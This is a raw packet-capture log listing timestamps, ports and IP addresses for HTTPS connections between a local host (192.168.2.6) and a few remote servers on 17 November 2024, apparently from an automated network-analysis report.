Nov 17, 2024 01:38:36.483508110 CET	443	49857	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.483680010 CET	443	49857	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.483863115 CET	49857	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.504909039 CET	49857	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.504909039 CET	49857	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.504976988 CET	443	49857	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.505019903 CET	443	49857	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.513997078 CET	49862	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.514036894 CET	443	49862	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.514141083 CET	49862	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.514303923 CET	49862	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.514312029 CET	443	49862	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.555130959 CET	443	49858	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.556139946 CET	49858	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.556155920 CET	443	49858	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.556627989 CET	49858	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.556633949 CET	443	49858	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.614653111 CET	443	49859	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.622745037 CET	49859	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.622807980 CET	443	49859	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.623163939 CET	49859	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.623179913 CET	443	49859	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.686852932 CET	443	49858	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.686937094 CET	443	49858	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.687055111 CET	49858	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.687061071 CET	443	49858	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.687127113 CET	49858	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.698657990 CET	49858	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.698657990 CET	49858	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.698683977 CET	443	49858	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.698694944 CET	443	49858	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.727982044 CET	49863	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.728002071 CET	443	49863	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.728056908 CET	49863	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.728771925 CET	49863	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.728785992 CET	443	49863	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.749567986 CET	443	49859	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.749654055 CET	443	49859	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.749747038 CET	49859	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.750089884 CET	49859	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.750122070 CET	443	49859	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.750158072 CET	49859	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.750165939 CET	443	49859	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.756048918 CET	49864	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.756082058 CET	443	49864	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.756139994 CET	49864	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.756392956 CET	49864	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.756412983 CET	443	49864	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.803467035 CET	443	49860	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.803854942 CET	49860	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.803862095 CET	443	49860	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.804311037 CET	49860	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.804316044 CET	443	49860	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.939677954 CET	443	49860	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.939853907 CET	443	49860	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.939888954 CET	49860	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.976824999 CET	49860	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.976844072 CET	443	49860	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.976902008 CET	49860	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.976911068 CET	443	49860	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.009521008 CET	443	49861	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.061618090 CET	49861	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.062524080 CET	49861	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.062530994 CET	443	49861	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.063117027 CET	49861	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.063122988 CET	443	49861	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.070045948 CET	49865	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.070081949 CET	443	49865	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.070147038 CET	49865	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.070893049 CET	49865	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.070911884 CET	443	49865	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.188394070 CET	443	49861	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.188482046 CET	443	49861	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.188536882 CET	49861	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.191637039 CET	49861	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.191647053 CET	443	49861	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.191659927 CET	49861	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.191664934 CET	443	49861	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.194303989 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.194320917 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.194386005 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.195457935 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.195475101 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.264337063 CET	443	49862	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.265098095 CET	49862	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.265115023 CET	443	49862	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.265551090 CET	49862	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.265557051 CET	443	49862	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.397213936 CET	443	49862	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.397361994 CET	443	49862	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.397469997 CET	49862	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.397474051 CET	443	49862	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.397535086 CET	49862	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.459233046 CET	443	49863	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.496898890 CET	49862	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.496898890 CET	49862	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.496922016 CET	443	49862	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.496933937 CET	443	49862	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.497545004 CET	443	49864	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.514755011 CET	49863	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.546024084 CET	49864	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.551796913 CET	49863	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.551805973 CET	443	49863	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.552253962 CET	49863	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.552261114 CET	443	49863	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.585891008 CET	49864	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.585918903 CET	443	49864	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.587910891 CET	49864	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.587918997 CET	443	49864	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.677984953 CET	443	49863	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.678145885 CET	443	49863	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.678209066 CET	49863	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.678627968 CET	49867	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.678662062 CET	443	49867	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.679780006 CET	49867	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.691854000 CET	49863	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.691878080 CET	443	49863	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.691910982 CET	49863	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.691917896 CET	443	49863	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.696506977 CET	49868	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.696557999 CET	443	49868	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.697196007 CET	49868	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.697859049 CET	49867	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.697892904 CET	443	49867	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.715773106 CET	443	49864	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.715806961 CET	443	49864	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.715882063 CET	443	49864	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.715972900 CET	49864	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.751112938 CET	49864	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.751143932 CET	443	49864	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.751174927 CET	49864	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.751183033 CET	443	49864	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.766978025 CET	49868	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.767013073 CET	443	49868	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.804260015 CET	49869	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.804291010 CET	443	49869	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.804358006 CET	49869	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.809899092 CET	443	49865	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.831861973 CET	49869	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.831887007 CET	443	49869	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.832592964 CET	49865	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.832613945 CET	443	49865	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.833290100 CET	49865	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.833298922 CET	443	49865	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.928121090 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.960815907 CET	443	49865	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.960988998 CET	443	49865	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:37.961042881 CET	49865	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:37.967875004 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:38.246104956 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:38.246141911 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:38.246567965 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:38.246575117 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:38.246828079 CET	49865	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:38.246865988 CET	443	49865	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:38.246881962 CET	49865	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:38.246887922 CET	443	49865	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:38.373537064 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:38.373613119 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:38.373739958 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:38.373759031 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:38.373794079 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:38.508203030 CET	443	49868	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:38.547823906 CET	49868	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:38.565476894 CET	443	49869	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:38.566703081 CET	443	49867	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:38.609038115 CET	49867	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:38.609040022 CET	49869	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:38.619412899 CET	49867	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:38.619429111 CET	443	49867	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:38.619813919 CET	49867	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:38.619820118 CET	443	49867	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:38.619956017 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:38.619978905 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:38.619993925 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:38.620002031 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:38.748183966 CET	443	49867	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:38.748275042 CET	443	49867	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:38.748343945 CET	49867	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:38.909782887 CET	49868	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:38.909852028 CET	443	49868	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:38.910270929 CET	49868	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:38.910285950 CET	443	49868	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:38.955434084 CET	49869	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:38.955461025 CET	443	49869	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:38.956089020 CET	49869	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:38.956094980 CET	443	49869	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:38.980658054 CET	49867	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:38.980668068 CET	443	49867	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:38.980676889 CET	49867	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:38.980679989 CET	443	49867	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:39.036988974 CET	443	49868	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:39.037060022 CET	443	49868	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:39.037107944 CET	49868	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:39.037131071 CET	443	49868	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:39.037173986 CET	443	49868	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:39.037214041 CET	49868	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:39.076951027 CET	49875	443	192.168.2.6	94.245.104.56
Nov 17, 2024 01:38:39.076989889 CET	443	49875	94.245.104.56	192.168.2.6
Nov 17, 2024 01:38:39.077043056 CET	49875	443	192.168.2.6	94.245.104.56
Nov 17, 2024 01:38:39.077239990 CET	49875	443	192.168.2.6	94.245.104.56
Nov 17, 2024 01:38:39.077255011 CET	443	49875	94.245.104.56	192.168.2.6
Nov 17, 2024 01:38:39.081757069 CET	443	49869	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:39.081818104 CET	443	49869	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:39.081861973 CET	49869	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:39.124418974 CET	49868	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:39.124447107 CET	443	49868	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:39.124459982 CET	49868	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:39.124466896 CET	443	49868	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:39.194731951 CET	49869	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:39.194740057 CET	443	49869	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:39.194751978 CET	49869	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:39.194756031 CET	443	49869	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:39.256350994 CET	49878	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:39.256369114 CET	443	49878	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:39.256429911 CET	49878	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:39.269033909 CET	49878	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:39.269048929 CET	443	49878	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:39.278518915 CET	49879	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:39.278557062 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:39.278611898 CET	49879	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:39.278834105 CET	49879	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:39.278848886 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:39.287327051 CET	49709	443	192.168.2.6	40.126.32.133
Nov 17, 2024 01:38:39.287327051 CET	49709	443	192.168.2.6	40.126.32.133
Nov 17, 2024 01:38:39.292246103 CET	443	49709	40.126.32.133	192.168.2.6
Nov 17, 2024 01:38:39.292260885 CET	443	49709	40.126.32.133	192.168.2.6
Nov 17, 2024 01:38:39.292275906 CET	443	49709	40.126.32.133	192.168.2.6
Nov 17, 2024 01:38:39.292316914 CET	443	49709	40.126.32.133	192.168.2.6
Nov 17, 2024 01:38:39.292329073 CET	443	49709	40.126.32.133	192.168.2.6
Nov 17, 2024 01:38:39.292524099 CET	49880	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:39.292617083 CET	443	49880	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:39.292700052 CET	49880	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:39.322745085 CET	49881	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:39.322798967 CET	443	49881	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:39.322875977 CET	49881	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:39.323837042 CET	49882	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:39.323925018 CET	443	49882	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:39.324014902 CET	49882	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:39.325639963 CET	49880	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:39.325683117 CET	443	49880	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:39.356446028 CET	49882	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:39.356470108 CET	443	49882	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:39.356641054 CET	49881	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:39.356667042 CET	443	49881	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:39.678993940 CET	443	49709	40.126.32.133	192.168.2.6
Nov 17, 2024 01:38:39.679009914 CET	443	49709	40.126.32.133	192.168.2.6
Nov 17, 2024 01:38:39.679025888 CET	443	49709	40.126.32.133	192.168.2.6
Nov 17, 2024 01:38:39.679040909 CET	443	49709	40.126.32.133	192.168.2.6
Nov 17, 2024 01:38:39.679220915 CET	443	49709	40.126.32.133	192.168.2.6
Nov 17, 2024 01:38:39.679222107 CET	49709	443	192.168.2.6	40.126.32.133
Nov 17, 2024 01:38:39.679272890 CET	443	49709	40.126.32.133	192.168.2.6
Nov 17, 2024 01:38:39.679287910 CET	443	49709	40.126.32.133	192.168.2.6
Nov 17, 2024 01:38:39.679302931 CET	443	49709	40.126.32.133	192.168.2.6
Nov 17, 2024 01:38:39.679337025 CET	49709	443	192.168.2.6	40.126.32.133
Nov 17, 2024 01:38:39.679377079 CET	49709	443	192.168.2.6	40.126.32.133
Nov 17, 2024 01:38:39.679831982 CET	443	49709	40.126.32.133	192.168.2.6
Nov 17, 2024 01:38:39.679878950 CET	443	49709	40.126.32.133	192.168.2.6
Nov 17, 2024 01:38:39.679950953 CET	49709	443	192.168.2.6	40.126.32.133
Nov 17, 2024 01:38:40.015341997 CET	443	49878	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.019814014 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.049578905 CET	443	49880	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.068655014 CET	49878	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.088224888 CET	443	49882	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.094820023 CET	443	49881	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.147275925 CET	443	49875	94.245.104.56	192.168.2.6
Nov 17, 2024 01:38:40.161863089 CET	49875	443	192.168.2.6	94.245.104.56
Nov 17, 2024 01:38:40.161881924 CET	443	49875	94.245.104.56	192.168.2.6
Nov 17, 2024 01:38:40.163156986 CET	49879	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.163196087 CET	49880	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.163196087 CET	49882	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.163574934 CET	443	49875	94.245.104.56	192.168.2.6
Nov 17, 2024 01:38:40.163644075 CET	49875	443	192.168.2.6	94.245.104.56
Nov 17, 2024 01:38:40.166277885 CET	49875	443	192.168.2.6	94.245.104.56
Nov 17, 2024 01:38:40.166364908 CET	443	49875	94.245.104.56	192.168.2.6
Nov 17, 2024 01:38:40.166619062 CET	49875	443	192.168.2.6	94.245.104.56
Nov 17, 2024 01:38:40.166626930 CET	443	49875	94.245.104.56	192.168.2.6
Nov 17, 2024 01:38:40.178314924 CET	49881	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.320530891 CET	49881	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.320547104 CET	443	49881	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.322031975 CET	49881	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.322037935 CET	443	49881	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.322207928 CET	49882	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.322242022 CET	443	49882	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.322645903 CET	49882	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.322658062 CET	443	49882	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.322881937 CET	49878	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.322912931 CET	443	49878	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.323857069 CET	49878	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.323863029 CET	443	49878	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.325066090 CET	49879	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.325090885 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.326096058 CET	49879	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.326101065 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.330419064 CET	49880	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.330449104 CET	443	49880	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.330884933 CET	49880	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.330894947 CET	443	49880	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.375339985 CET	443	49875	94.245.104.56	192.168.2.6
Nov 17, 2024 01:38:40.375405073 CET	49875	443	192.168.2.6	94.245.104.56
Nov 17, 2024 01:38:40.402873993 CET	443	49875	94.245.104.56	192.168.2.6
Nov 17, 2024 01:38:40.447001934 CET	443	49882	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.447153091 CET	443	49882	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.447277069 CET	49882	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.452215910 CET	443	49878	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.452270031 CET	443	49878	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.452347994 CET	49878	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.452362061 CET	443	49878	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.453010082 CET	49878	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.453603029 CET	443	49881	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.453672886 CET	443	49881	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.453727961 CET	49881	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.453738928 CET	443	49881	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.453774929 CET	443	49881	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.453823090 CET	49881	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.454405069 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.454494953 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.454677105 CET	49879	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.456134081 CET	443	49880	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.456293106 CET	443	49880	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.456557035 CET	49880	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.479464054 CET	49875	443	192.168.2.6	94.245.104.56
Nov 17, 2024 01:38:40.514799118 CET	443	49875	94.245.104.56	192.168.2.6
Nov 17, 2024 01:38:40.515072107 CET	443	49875	94.245.104.56	192.168.2.6
Nov 17, 2024 01:38:40.515182018 CET	49875	443	192.168.2.6	94.245.104.56
Nov 17, 2024 01:38:40.605057001 CET	49882	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.605094910 CET	443	49882	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.605112076 CET	49882	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.605120897 CET	443	49882	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.606901884 CET	49879	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.606901884 CET	49879	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.606960058 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.606997967 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.607053041 CET	49878	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.607070923 CET	443	49878	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.607084990 CET	49878	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.607090950 CET	443	49878	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.607144117 CET	49880	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:40.607151985 CET	443	49880	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:40.607180119 CET	49880	443	192.168.2.6	13.107.246.45
